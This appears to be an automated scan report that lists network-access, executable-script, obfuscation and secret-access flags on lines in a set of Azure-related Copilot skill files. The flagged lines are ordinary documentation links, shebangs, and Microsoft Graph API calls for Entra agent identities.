  • Network accessline 12
    | `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual 
  • Network accessline 13
    | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser
  • Network accessline 14
    | `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md

  • Network accessline 3
    Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv
  • Network accessline 30
    Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei
  • Network accessline 45
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md

  • Network accessline 3
    Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md

  • Network accessline 3
    Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser

harness/github-copilot/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md

  • Network accessline 9
    1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 10
    2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 80
    - [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide)
  • Network accessline 81
    - [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide)
  • Network accessline 82
    - [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas)
  • Network accessline 83
    - [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas)
  • Network accessline 84
    - [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot)
  • Network accessline 85
    - [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot)
  • Network accessline 86
    - [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow)
  • Network accessline 87
    - [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)

harness/github-copilot/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md

  • Network accessline 5
    Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).

harness/github-copilot/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md

  • Network accessline 133
    iconProvider="azure"         iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 134
    iconProduct="Azure Key Vault"         iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"         iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 135
    iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/"
  • Network accessline 136
    iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"

harness/github-copilot/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md

  • Network accessline 20
    | Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu
  • Network accessline 21
    | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra
  • Network accessline 22
    | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or 
  • Network accessline 23
    | Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co
  • Network accessline 24
    | Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact
  • Network accessline 25
    | Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen
  • Network accessline 26
    | Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac
  • Network accessline 27
    | Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb
  • Network accessline 28
    | General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t
  • Network accessline 29
    | GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s
  • Network accessline 30
    | GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us
  • Network accessline 31
    | GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n

harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/.gitignore

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/README.md

  • Network accessline 61
    python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg    "Azure Key Vault" 320 180    --provider azure    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/
  • Network accessline 62
    "Azure Key Vault" 320 180 \   --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 63
    --provider azure \   --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \   --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 64
    --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
  • Network accessline 65
    --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \

harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/add-icon.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/add-shape.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 91
    return base64.b64decode(

harness/github-copilot/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md

  • Network accessline 8
    | **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG
  • Network accessline 9
    | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://
  • Network accessline 10
    | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/github-copilot/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md

  • Network accessline 32
    |-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif
  • Network accessline 33
    | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se
  • Network accessline 34
    | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su
  • Network accessline 13
    | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic
  • Network accessline 14
    | ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse
  • Network accessline 15
    | AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea
  • Network accessline 17
    | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m
  • Network accessline 18
    | App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule
  • Network accessline 19
    | Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules]
  • Network accessline 20
    | Container Apps Environment | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/managedenvironments?pivots=deployment-language-bicep) | [Environments overview](https://learn.microsoft.com/azure/container-apps/environme
  • Network accessline 21
    | Container Registry | [2025-04-01](https://learn.microsoft.com/azure/templates/microsoft.containerregistry/registries?pivots=deployment-language-bicep) | [ACR overview](https://learn.microsoft.com/azure/container-registry/container-registr
  • Network accessline 22
    | Function App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [Functions overview](https://learn.microsoft.com/azure/azure-functions/functions-overview) | [Naming rules](ht
  • Network accessline 23
    | Static Web App | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/staticsites?pivots=deployment-language-bicep) | [Static Web Apps overview](https://learn.microsoft.com/azure/static-web-apps/overview) | [Naming rules

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/compute-infra.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.co
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overvi
  • Network accessline 15
    | AKS Cluster | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.containerservice/managedclusters?pivots=deployment-language-bicep) | [AKS overview](https://learn.microsoft.com/azure/aks/intro-kubernetes) | [Naming rules](
  • Network accessline 16
    | Availability Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/availabilitysets?pivots=deployment-language-bicep) | [Overview](https://learn.microsoft.com/azure/virtual-machines/availability-set-overview) | 
  • Network accessline 17
    | Managed Disk | [2025-01-02](https://learn.microsoft.com/azure/templates/microsoft.compute/disks?pivots=deployment-language-bicep) | [Managed disks overview](https://learn.microsoft.com/azure/virtual-machines/managed-disks-overview) | [Nam
  • Network accessline 18
    | Virtual Machine | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachines?pivots=deployment-language-bicep) | [VMs overview](https://learn.microsoft.com/azure/virtual-machines/overview) | [Naming rules](
  • Network accessline 19
    | VM Scale Set | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.compute/virtualmachinescalesets?pivots=deployment-language-bicep) | [VMSS overview](https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview) |

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/data-analytics.md

  • Network accessline 13
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.docu
  • Network accessline 14
    |----------|----------------|------------------|--------------|------------| | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overvie
  • Network accessline 15
    | Cosmos DB | [2025-04-15](https://learn.microsoft.com/azure/templates/microsoft.documentdb/databaseaccounts?pivots=deployment-language-bicep) | [Cosmos DB overview](https://learn.microsoft.com/azure/cosmos-db/introduction) | [Naming rules]
  • Network accessline 16
    | Data Factory | [2018-06-01](https://learn.microsoft.com/azure/templates/microsoft.datafactory/factories?pivots=deployment-language-bicep) | [ADF overview](https://learn.microsoft.com/azure/data-factory/introduction) | [Naming rules](https
  • Network accessline 17
    | Redis Cache | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.cache/redis?pivots=deployment-language-bicep) | [Redis overview](https://learn.microsoft.com/azure/azure-cache-for-redis/cache-overview) | [Naming rules](htt
  • Network accessline 18
    | Storage Account | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.storage/storageaccounts?pivots=deployment-language-bicep) | [Storage overview](https://learn.microsoft.com/azure/storage/common/storage-account-overview)
  • Network accessline 19
    | Synapse Workspace | [2021-06-01](https://learn.microsoft.com/azure/templates/microsoft.synapse/workspaces?pivots=deployment-language-bicep) | [Synapse overview](https://learn.microsoft.com/azure/synapse-analytics/overview-what-is) | [Nami

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/data-relational.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://lea
  • Network accessline 14
    | SQL Server | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers?pivots=deployment-language-bicep) | [SQL Server overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-overview) | [Nami
  • Network accessline 15
    | SQL Database | [2023-08-01](https://learn.microsoft.com/azure/templates/microsoft.sql/servers/databases?pivots=deployment-language-bicep) | [SQL Database overview](https://learn.microsoft.com/azure/azure-sql/database/sql-database-paas-ove
  • Network accessline 16
    | MySQL Flexible Server | [2023-12-30](https://learn.microsoft.com/azure/templates/microsoft.dbformysql/flexibleservers?pivots=deployment-language-bicep) | [MySQL overview](https://learn.microsoft.com/azure/mysql/flexible-server/overview) |
  • Network accessline 17
    | PostgreSQL Flexible Server | [2024-08-01](https://learn.microsoft.com/azure/templates/microsoft.dbforpostgresql/flexibleservers?pivots=deployment-language-bicep) | [PostgreSQL overview](https://learn.microsoft.com/azure/postgresql/flexibl

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/messaging.md

  • Network accessline 11
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microso
  • Network accessline 12
    |----------|----------------|------------------|--------------|------------| | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](
  • Network accessline 13
    | Event Grid Topic | [2025-02-15](https://learn.microsoft.com/azure/templates/microsoft.eventgrid/topics?pivots=deployment-language-bicep) | [Event Grid overview](https://learn.microsoft.com/azure/event-grid/overview) | [Naming rules](https
  • Network accessline 14
    | Event Hub | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.eventhub/namespaces?pivots=deployment-language-bicep) | [Event Hubs overview](https://learn.microsoft.com/azure/event-hubs/event-hubs-about) | [Naming rules](h
  • Network accessline 15
    | Service Bus | [2024-01-01](https://learn.microsoft.com/azure/templates/microsoft.servicebus/namespaces?pivots=deployment-language-bicep) | [Service Bus overview](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-messagin

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/monitoring.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/mic
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights o
  • Network accessline 12
    | Application Insights | [2020-02-02](https://learn.microsoft.com/azure/templates/microsoft.insights/components?pivots=deployment-language-bicep) | [App Insights overview](https://learn.microsoft.com/azure/azure-monitor/app/app-insights-ove
  • Network accessline 13
    | Log Analytics | [2025-02-01](https://learn.microsoft.com/azure/templates/microsoft.operationalinsights/workspaces?pivots=deployment-language-bicep) | [Log Analytics overview](https://learn.microsoft.com/azure/azure-monitor/logs/log-analyt

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/networking-connectivity.md

  • Network accessline 14
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.
  • Network accessline 15
    |----------|----------------|------------------|--------------|------------| | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](ht
  • Network accessline 16
    | Azure Bastion | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/bastionhosts?pivots=deployment-language-bicep) | [Bastion overview](https://learn.microsoft.com/azure/bastion/bastion-overview) | [Naming rules](ht
  • Network accessline 17
    | Azure Firewall | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/azurefirewalls?pivots=deployment-language-bicep) | [Firewall overview](https://learn.microsoft.com/azure/firewall/overview) | [Naming rules](https
  • Network accessline 18
    | DNS Zone | [2018-05-01](https://learn.microsoft.com/azure/templates/microsoft.network/dnszones?pivots=deployment-language-bicep) | [Azure DNS overview](https://learn.microsoft.com/azure/dns/dns-overview) | [Naming rules](https://learn.mic
  • Network accessline 19
    | VPN Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworkgateways?pivots=deployment-language-bicep) | [VPN Gateway overview](https://learn.microsoft.com/azure/vpn-gateway/vpn-gateway-about-vpn
  • Network accessline 20
    | Private DNS Zone | [2024-06-01](https://learn.microsoft.com/azure/templates/microsoft.network/privatednszones?pivots=deployment-language-bicep) | [Private DNS overview](https://learn.microsoft.com/azure/dns/private-dns-overview) | [Naming
  • Network accessline 21
    | Private Endpoint | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/privateendpoints?pivots=deployment-language-bicep) | [PE overview](https://learn.microsoft.com/azure/private-link/private-endpoint-overview) | [

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/networking-core.md

  • Network accessline 15
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsof
  • Network accessline 16
    |----------|----------------|------------------|--------------|------------| | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](
  • Network accessline 17
    | Virtual Network | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks?pivots=deployment-language-bicep) | [VNet overview](https://learn.microsoft.com/azure/virtual-network/virtual-networks-overview) 
  • Network accessline 18
    | Subnet | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/virtualnetworks/subnets?pivots=deployment-language-bicep) | [Subnets](https://learn.microsoft.com/azure/virtual-network/virtual-network-manage-subnet) | [
  • Network accessline 19
    | NSG | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networksecuritygroups?pivots=deployment-language-bicep) | [NSG overview](https://learn.microsoft.com/azure/virtual-network/network-security-groups-overview) 
  • Network accessline 20
    | Route Table | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/routetables?pivots=deployment-language-bicep) | [Traffic routing](https://learn.microsoft.com/azure/virtual-network/virtual-networks-udr-overview) | 
  • Network accessline 21
    | Network Interface | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/networkinterfaces?pivots=deployment-language-bicep) | [NIC overview](https://learn.microsoft.com/azure/virtual-network/virtual-network-network-
  • Network accessline 22
    | Public IP | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/publicipaddresses?pivots=deployment-language-bicep) | [Public IP overview](https://learn.microsoft.com/azure/virtual-network/ip-services/public-ip-addr
  • Network accessline 23
    | NAT Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/natgateways?pivots=deployment-language-bicep) | [NAT Gateway overview](https://learn.microsoft.com/azure/nat-gateway/nat-overview) | [Naming rules](h

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/networking-traffic.md

  • Network accessline 12
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft
  • Network accessline 13
    |----------|----------------|------------------|--------------|------------| | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](htt
  • Network accessline 14
    | API Management | [2024-05-01](https://learn.microsoft.com/azure/templates/microsoft.apimanagement/service?pivots=deployment-language-bicep) | [APIM overview](https://learn.microsoft.com/azure/api-management/api-management-key-concepts) | 
  • Network accessline 15
    | Application Gateway | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/applicationgateways?pivots=deployment-language-bicep) | [App Gateway overview](https://learn.microsoft.com/azure/application-gateway/overview
  • Network accessline 16
    | Front Door | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cdn/profiles?pivots=deployment-language-bicep) | [Front Door overview](https://learn.microsoft.com/azure/frontdoor/front-door-overview) | [Naming rules](https
  • Network accessline 17
    | Load Balancer | [2024-07-01](https://learn.microsoft.com/azure/templates/microsoft.network/loadbalancers?pivots=deployment-language-bicep) | [LB overview](https://learn.microsoft.com/azure/load-balancer/load-balancer-overview) | [Naming r

harness/github-copilot/skills/azure-enterprise-infra-planner/references/resources/security.md

  • Network accessline 10
    | Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyv
  • Network accessline 11
    |----------|----------------|------------------|--------------|------------| | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://l
  • Network accessline 12
    | Key Vault | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.keyvault/vaults?pivots=deployment-language-bicep) | [Key Vault overview](https://learn.microsoft.com/azure/key-vault/general/overview) | [Naming rules](https:/
  • Network accessline 13
    | Managed Identity | [2024-11-30](https://learn.microsoft.com/azure/templates/microsoft.managedidentity/userassignedidentities?pivots=deployment-language-bicep) | [Managed identities](https://learn.microsoft.com/entra/identity/managed-ident

harness/github-copilot/skills/azure-entra-agent-id/SKILL.md

  • Network accessline 17
    |----------|-------| | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Network accessline 18
    | Service | Microsoft Entra Agent ID | | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) | | Required role | Agent Identity Developer, Agent Identity Administrator, or Application Administrator |
  • Network accessline 19
    | API | Microsoft Graph (`https://graph.microsoft.com/v1.0`) |
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Access to secretsline 114
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 118
    GRAPH = "https://graph.microsoft.com/v1.0"
  • Network accessline 142
    "displayName": "My Agent Blueprint",     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 143
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 144
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 145
    ], } resp = requests.post(
  • Network accessline 146
    } resp = requests.post(     f"{GRAPH}/applications/microsoft.graph.agentIdentityBlueprint",
  • Network accessline 147
    resp = requests.post(
  • Network accessline 164
    sp_body = {"appId": app_id} resp = requests.post(
  • Network accessline 165
    resp = requests.post(
  • Network accessline 181
    "agentIdentityBlueprintId": app_id,     "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 182
    "sponsors@odata.bind": [         f"https://graph.microsoft.com/v1.0/users/{user_id}"     ],
  • Network accessline 183
    f"https://graph.microsoft.com/v1.0/users/{user_id}"
  • Network accessline 184
    ], } resp = requests.post(
  • Network accessline 185
    } resp = requests.post(     f"{GRAPH}/servicePrincipals/microsoft.graph.agentIdentity",
  • Network accessline 186
    resp = requests.post(
  • Network accessline 224
    graph_sp = requests.get(
  • Network accessline 231
    requests.post(
  • Network accessline 249
    requests.post(
  • Network accessline 286
    Base URL: `https://graph.microsoft.com/v1.0`.
  • Network accessline 351
    | Resource | URL | |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 352
    |----------|-----| | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions | | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-
  • Network accessline 353
    | Agent ID Setup Guide | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-setup-instructions |
  • Network accessline 354
    | AI-Guided Setup | https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/agent-id-ai-guided-setup |
  • Network accessline 355
    | Microsoft Entra SDK for AgentID | https://learn.microsoft.com/en-us/entra/msidweb/agent-id-sdk/overview |
  • Network accessline 356
    | Microsoft.Identity.Web.AgentIdentities (.NET) | https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identity.Web.AgentIdentities/README.AgentIdentities.md |

harness/github-copilot/skills/azure-entra-agent-id/references/known-limitations.md

  • Network accessline 3
    Source: [Microsoft Entra Agent ID — known issues and gaps](https://learn.microsoft.com/en-us/entra/agent-id/identity-platform/preview-known-issues)
  • Network accessline 51
    27. **Copilot Studio** — only custom engine agents are supported; Agent IDs are used for channel auth only (not connectors or tools). 28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For
  • Network accessline 52
    28. **MSAL complexity** — Agent ID scenarios require managing Federated Identity Credentials manually. For .NET use [Microsoft.Identity.Web.AgentIdentities](https://github.com/AzureAD/microsoft-identity-web/blob/master/src/Microsoft.Identit
  • Network accessline 56
    Report unlisted issues via [aka.ms/agentidfeedback](https://aka.ms/agentidfeedback).

harness/github-copilot/skills/azure-entra-agent-id/references/oauth2-token-flow.md

